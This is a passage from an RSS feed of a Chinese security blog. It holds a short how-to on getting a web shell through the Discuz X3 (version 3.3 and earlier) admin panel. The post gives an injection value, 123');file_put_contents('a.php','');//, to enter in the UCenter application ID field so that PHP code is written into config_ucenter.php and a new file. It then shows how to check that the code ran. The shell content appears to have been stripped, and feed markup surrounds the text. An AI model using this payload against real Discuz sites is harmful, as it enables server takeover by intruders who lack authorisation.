discuz – ChaBug安全 / 一个分享知识、结识伙伴、资源共享的博客 Mon, 13 Aug 2018 15:44:12 +0000 zh-CN hourly 1 https://wordpress.org/?v=5.5.5 Discuz X3 后台拿 shell /web/327.html /web/327.html#comments Tue, 16 Jan 2018 13:02:00 +0000 /?p=25 适用于 Discuz X3.3 及之前版本

魔术引号需关闭

站长 – Ucenter 设置 – Ucenter 应用 ID

填入 123');file_put_contents('a.php','');//

它将在同目录下生成a.php 内容为 “

保存

本地查看 config_ucenter.php

访问 /config/config_ucenter.php

空白

file_put_contents 执行成功

]]> /web/327.html/feed 1